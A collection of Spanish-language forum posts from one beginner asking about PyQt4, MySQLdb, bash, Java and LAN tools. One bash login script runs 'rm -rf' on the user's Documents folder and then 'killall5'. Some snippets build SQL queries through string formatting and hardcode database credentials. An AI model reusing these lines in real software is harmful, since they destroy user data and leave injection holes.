                                    matri[i][j] = matri[n][m];
                                    matri[n][m] = v;
                                }
                            }
                        }
                    }
                    else {
                        for (n = 0 ; n < f; ++n){
                            for (m = 0; m < c; ++m){
                                if(matri[i][j] < matri[n][m]){
                                    v = matri[i][j];
                                    matri[i][j] = matri[n][m];
                                    matri[n][m] = v;
                                }
                            }
                        }
                    }
                } 
            }
            for (i = 0 ; i < f ; ++i){
                for (j = 0 ; j < c; ++j){
                    matrizt += matri[i][j]+"\t";
                }
                matrizt += "\n";
            }
            JOptionPane.showMessageDialog(null, "--**-- Matriz --**--\n\n"
                            + matrizt);

Es para una tarea, urgente!!!

gracias

Edito: La matriz "matri" ya está definida anteriormente.
#20
Hola a todxs

Tengo una duda al respecto (como dice el titulo) que tengo una red LAN en la cual quiero manejar ciertos datos y no sé (además porque de los dos temas sé mas de mysql) si crearla en ACCES o en MySQL, ya que según lo visto en la red acces me da la opción de crear usuarios con permisos y creo que también se puede gráficar ciertos datos, lo que MySQL me facilita a partir de php...

Mi duda es (si de pronto saben) en una LAN se podría editar una misma Base de datos ACCES con tipos de accesos de usuarios.

Qué me aconsejan?
#21
Hola a todos(as)

Alguien sabe cómo podría virtualizar una LAN sin el programa hamachi, es decir que otro programa hay (gratuito) que pueda realizar este proceso y que pueda poner un dominio a estos pcs?

gracias
#22
Hola a todxs


Resulta que quiero mostrar unos datos que depende de la consulta que haga, se muestre o no en la misma pagina, estilo un desplegable oculto (digo estilo, pero en realidad no así sino que de verdad no estén hasta comprobada la consulta)...

Cómo podría realizar esto?

gracias..

edito:

Tengo una pagina con un campo de consulta, un ejemplo:
--------------------------------------------
codigo: ______
[Ingresar]

--------------------------------------------
y quiero que en el momento de darle ingresar el realice una consulta mysql

$quer = sprintf("SELECT usuario, proceso, ventas FROM clientes WHERE codigo=%s",$codigo);
blabla...
tomo los datos de $usuario = $row_quer['usuario'], etc....

lo anterior no va al caso :D

Y entonces muestro los datos $usuario, $proceso y $ventas (por ejemplo) pero en la misma hoja, es decir que quedaría así:

--------------------------------------------
codigo: ______
[Ingresar]

Usuario:$usuario
Proceso:$proceso
tiene $ventas ventas
--------------------------------------------

Lo cual me permitirá escribir nuevos códigos cambiando de nuevo el usuario y los proceso sin tener que retornar a otra pagina..


PD: me he comido bastante código por pereza :D pero solamente quiero dar la idea, si no se visualiza mas, entonces pondré todo el código... ..muchas gracias bro por responder.
#23
Hola a todxs

Resulta que he visto esta imagen y me causa duda acerca de cómo puedo generar este tipo de imágenes con php

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si se le da click a la imagen para ampliar, aparecen los nombres de cada dependencia pero si se le da click en cada dependencia aparece la persona a cargo, alguien sabe acerca de esto?, donde me puedo documentar mejor?



gracias
#24
Hola a todxs


Resulta que quiero que un programa no me envíe los informes que el envía dependiendo de fallos y cosas así.

El programa mira todo eso lo muestra y luego lo envía, quiciera saber como rastre a que IP o lugar está enviando dicha info, para luego bloquearla?


gracias
#25
Hola a todos, pues no supe como llamarle a eso pues en este tema de las clases me quedo corto y comienzo a patinar.


Problema:
He realizado dos ventanas en pyqt4, la cual las dos tienen la estructura general de cualquier ventana de pyqt cuando se pasa de .ui a .py
- la idea es que la primera ventana dependiendo de algo llame a la otra ventana pasandole el valor de una variable que utilizará esta segunda ventana, el cual este valor se generó en la primera y no puede volver a ser pedido.
- la idea es que al cerrar la segunda ventana esta mande otra variable a la primera y cierre las dos ventanas.
Nota: en realidad mi problema es que no sé como usar las clases en este caso y como importar y/o utilizar este archivo de la manera import y pasarle el valor de una variable

mi solución había sido utilizar el os.popen("python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta valor_variable") y ya con eso tenía solucionado hasta el momento, pero luego surgieron muchos problemas mas.

ahora mi idea es utilizarlos como import archivo, o meterlos en el mismo archivo y que queden diferentes clases, pero no sé como llamarlos pasandoles un valor en un momento determinado después de ejecutarse el primer programa.


Esto es la estructura general de las ventanas.

Código: python
from PyQt4 import QtCore, QtGui
import sys, os
import MySQLdb as msdb

try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s

class Ui_MainWindow(QtGui.QMainWindow):
def __init__(self,parent=None):
QtGui.QMainWindow.__init__(self)#,None,QtCore.Qt.WindowStaysOnTopHint)
self.setupUi(self)

def setupUi(self, MainWindow):
####............................

def retranslateUi(self, MainWindow):
#####....................

####codigo del programa ...................

def main():
# Nuevamente, esto es estandar, sera igual en cada
# aplicacion que escribas
app = QtGui.QApplication(sys.argv)
#~ if len(sys.argv) == 2:           //estas son para las que reciben el parametro os.popen
#~ codigo = int(sys.argv[1])
window=Ui_MainWindow()
window.show()
# Es exec_ porque exec es una palabra reservada en Python
sys.exit(app.exec_())

main()



así son en general las ventanas, gracias
#26
Hola a todos

resulta que he hecho un programa que necesito que se inicie al iniciar Ubuntu y al cerrarlo me borre ciertos directorios y me cierre la sección de usuario.
pues he hecho este código que he puesto y que ejecutando el archivo me va de maravilla

Código: bash
#!/bin/bash

sleep 5     
python usuarios.py &     
pid=$!     
wait $pid     
rm -rf $HOME/Documentos/* &
sleep 1
killall5

pero resulta que lo tengo que poner al inicio de sesión (de usuario), lo he echo y que problema al iniciar la sesión se me cierra y no al cansa a iniciar siquiera el primer programa.

sabrían porqué?

gracias
#27
Hola a todxs

tengo una tabla en MySQL llamada estudiantes, dentro de una BD llamada cciber y quiero introducir unos datos en esa tabla, buscando por la web al parecer es facil con MySQLdb para python, pero me he encontrado que al parecer todo queda bien, pero cuando voy a las tablas no veo ningún resultado.

este es mi programa:

Código: python

import MySQLdb as msdb

con = None
comentario = "no hay comentario"
plan = 3148
codigo = 8764522
status = 1

vacios = [""," "]
if codigo and plan is not vacios:
codigo = int(codigo)
plan = int(plan)
status = int(status)
comentario = str(comentario)
try:
con = msdb.connect('192.168.25.224', 'will', 'sala', 'cciber')
cur = con.cursor()
query = "INSERT INTO estudiantes (codigo,plan,status,quien_agrega,comentario) VALUES ('%d','%d','%d','yo','%s');" % (codigo,plan,status,comentario)
cur.execute(query)
data = cur.fetchall()
print data
except msdb.Error, e:
print "Error %d: %s" % (e.args[0], e.args[1])
finally:
if con:
con.close()
else:
print "falta que llene un campo importante para el registro del estudiante"

y este es lo que muestra al imprimir el "data"
Código: php
()


y no se inserta nada en las tablas


gracias

EDITO:

faltaba con.commit() después de ejecutar el cursor..
#28
Hola a todxs

Resulta que necesito realizar el siguiente programa en bash:

Inicio:
-Ejecuta un programa 2.
-si se cierra el programa 2.
-pasa un tiempo y se ejecuta el programa 3.
-y pasa otro tiempo y se cierra la sesión de usuario
:fin

Resulta que no sé mucho de bash, solamente las ordenes comunes del terminal, pero en la parte de programación solo sé usar los && y ya, ni condicionales, ni bucles, ni timer, etc. Por lo que también me gustaría que me recomendaran unos manuales para novatos en bash.


GRACIAS
#29
Hola a todxs


Pues con el titulo se deben imaginar a que se refiere la ayuda.

pues resulta que tengo un programa, pero quiero que cuando este se abra quede en pantalla completa y no se pueda salir de esta..


muchas gracias

EDIT:

O así no sea en PyQt4, cómo puedo poner un programa en python que al ejecutarse me abra en pantalla completa?

gracias

SOLUCIÓN:

Para pantalla completa:
Código: python
QtGui.QMainWindow.showFullScreen()

y para mantener la ventana siempre visible
Código: python
QtCore.Qt.WindowStaysOnTopHint
#30
Hola a todos(as)

Mi pregunta es, si ¿hay algún cyber para Ubuntu que pueda usar, que me bloquee la pantalla y si puede registrarme los usuario mejor?

gracias
#31
Hola a todos(as)

Resulta que me compré xD un galaxy ace y este biene con android 2.2, he estado viendo por la web y resulta que encuentro que se puede instalar el android 4..

mi pregunta (en realidad son varias) realmente va a lo siguiente, Si actualizó a Android 4.2:
- ¿es posible que se me pierda la garantía?
- ¿es posible que me fallen funcionalidades, touch, etc.?
- ¿puede que se me dañe el teléfono o SO en el intento?
--Si si, ¿se puede volver a arreglar?
- ¿El galaxy ace podría soportar este nuevo SO?
- ¿que mejoras tendría respecto al anterior?


Gracias
#32
Dudas y pedidos generales / [SOLUCIONADO] Iphone chino
Febrero 28, 2013, 09:28:54 AM
Hola a todos resulta que me compré este teléfono porque me pareció curioso, etc..

pero pasa que el pc no me lo reconoce como algún dispositivo, tampoco me corre bien el navegador y la señal telefónica es muy mala.

quisiera saber si alguien sabe como puedo configurar estos celulares y si hay algún software para poderlos configurar o instalarles aplicaciones.

he estado buscando en la red y al parecer con un un programa (notpod) puedo hacer que sincronice con el itunes, pero lo que pasa es que hay un paso en el notpod que necesita elegir donde se encuentra el dispositivo y hay es mi problema ya que mi pc no me lo reconoce como unidad de almacenamiento.
también porque no he podido acceder a la app store de itunes, pues para registrarme me pide tarjeta credito.

gracias
#33
Hola  a todos(as)

Resulta que he instalado lampp en linux y luego le he dado seguridad, pero el problema es que no quiero que pida contraseña para entrar a la pagina web, he tratado de buscar en el archivo httpd.conf pero no encuentro como quitarle el usuario, es decir que no me pida ni usuario ni contraseña para entrar a ver el http://


gracias
#34
Hola a todxs

Resulta que con el tema de virtualizar programas de W$ me he encontrado con un tema "filosófico" en linux y es, ¿si se pueden crackear programas en linux?

Si es así, me podría iniciar en dicho aspecto?

Si no es así, no será que que el software libre será el próximo objetivo de los grandes empresarios pues hay un campo donde sus programas no serán "violados" y donde los usuarios tendrán que si o si comprarlos.

soy un poco ignorante en este tema :D ¿me ayuda?


gracias
#35
En realidad nunca me había pasado esto por el foro, aunque casi nunca he estado en todos los foros (diría nunca), pero me he puesto a mirar varios foros  de repente en algunos (pocos) casos me aparece la imagen de abajo, alguien me podría decir por que se puede dar eso?

gacias
#36
Otros lenguajes Scripting / [Ayuda] Auto Instalador
Enero 18, 2013, 12:38:11 PM
Resulta que estoy tratando de hacer un auto instalador de un programa pero el programa me pide derechos de admin al ejecutarlo (para instalar)

lo que necesito es tratar de que no me pida eso, porque creo que al salir la ventana de control de cuentas de usuario el script no funciona y no sigue su curso normal.

he tratado de hacer lo siguiente:
Código: php

Run('runas /user:administrator /savecred programa')


pero me aparece el cmd pidiéndome la contraseña y aunque le de la contraseña correcta no se ejecuta el programa.

gracias
#37
Hola a todxs

Resulta que uso hamachi para virtualizar redes LAN con compañeros que están en otro lugar de la ciudad, etc. pero resulta que en ubuntu hamachi no es muy bueno, toca que configurar muchas cosas y eso a algunos les aburre..
..necesito si alguien conoce otro programa o una manera fácil de virtualizar una red LAN.

gracias
#38
Hola a todxs


pues no sé si ya conocen PyInstaller para distribuir aplicaciones en windo$ pero como no encontré nada, acá les traigo algo de lo que he encontrado. Resulta que trataba de convertir un ejecutable con mi antiguo py2exe, pero me dió error debido a las librerías de PyQt4 que usé para la parte gráfica, entonces buscando por ahí encontré esta aplicación de distribución.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  • Descargar los archivos, los descomprimen en una carpeta.
  • En el directorio utils, de la carpeta de pyinstaller, pueden poner su programa .py (yo prefiero en ese mismo directorio)
  • Abren una ventana de comando en esa carpeta y ejecutan lo siguiente:
    Código: batch

    usuario> python Makespec.py  --icon=ruta_del_icono.ico --version=ruta_del_archivo_version.txt --onefile -w --name=Nombre_del_programa nombre_del_programa.py

    El comando -w es para evitar la consola, el --onefile es para que genere solo archivo (solo el ejecutable)

    El archivo de la version.txt puede ir mas o menos así:
    Código: php

    VSVersionInfo(
      ffi=FixedFileInfo(
        filevers=(0, 0,1, 4),
        prodvers=(0, 0,1, 0),
        mask=0x3f,
        flags=0x0,
        OS=0x40004,
        fileType=0x1,
        subtype=0x0,
        date=(0, 0)
        ),
      kids=[
        StringFileInfo(
          [
          StringTable(
            '040904B0',
            [StringStruct('FileDescription', 'Programa hecho por Fortil'),
            StringStruct('FileVersion', '0.0.1.4'),
            StringStruct('OriginalFilename', 'Hecho por Fortil.exe'),
            StringStruct('ProductName', 'Hecho por Fortil'),
            StringStruct('ProductVersion', '0.0.1.0')])
          ]),
        VarFileInfo([VarStruct('Translation', [1033, 1200])])
      ]
    )


    edito:
    Se me olvidaba que para windo$ necesitan PyWin32, es un poco liado bajarlo así que les dejo el link directamente de donde lo bajé (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) y el manual para ver mas a fondo (se puede comprimir con UPX, etc..) No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#39
hola a todxs

de nuevo yo con mis dudas  ;D me ha costado bastante acostumbrarme a PyQt.

Resulta que tengo el siguiente código
Código: python

txt = str(self.IntroducirTexto.toPlainText())
L = {"Á":"A","É":"E","Í":"I","Ó":"O","Ú":"U","á":"a","é":"e","í":"i","ó":"o","ú":"u"}
l = {"\xc1":"A","\xc9":"E","\xcd":"I","\xd3":"O","\xda":"U","\xe1":"a","\xe9":"e","\xed":"i","\xf3":"o","\xfa":"u"}
for i in txt:
if i in L.keys():
txt = txt.replace(i,L[i])
self.SalirTexto.setPlainText(txt)

En realidad lo que quiero es un programa que convierta las palabras con tildes a palabras sin tildes, pero resulta que eso me funciona en python, pero en PyQt4 no me funciona.
He intentado con los dos diccionarios (l y L) y siempre me arroja un error
este es el error
Código: php

             txt = str(self.IntroducirTexto.toPlainText())
UnicodeEncodeError: 'ascii' codec can't encode character u'\xe1' in position 3: ordinal not in tange(128)


he intentado poner txt = str(self.IntroducirTexto.toPlainText()).encode('utf-8') o txt = txt.encode('utf-8')
pero ninguna da frutos, sigue apareciendo el mismo error

y cuando uso la codificación que me da el mismo programa txt = _fromUtf8(self.IntroducirTexto.toPlainText()) me salen caracteres super raros en la otra ventana, como este �

les agradezco que me puedan ayudar con esto
#40
Hola a todxs


resulta que estoy haciendo un programa, el cual por una función me da una ruta "C:\Python27\Programa" en una variable self.ruta()
pero necesito utilzarlo en os.path.split(self.ruta)

el problema es que os.path.split() acepta parametros de rutas "C:\\Python27\\Programa" y no como la primera.

entonces no sé como cambiarle, pues manualmente es imposible ya que es un botón que busca la ruta de la carpeta entonces esa es la ruta que me arroja (Como para usar r"C:\Python27\Programa") ya que lo que tengo en realidad es self.ruta() y ya intenté con r''+self.ruta()+'' (y con otra r al final) y nada.
por ende necesito un modulo para que split me acepte de la manera que me arroja self.ruta()

gracias

Mas info; estoy aprendiendo a programar en PyQt4 (en general en python xD)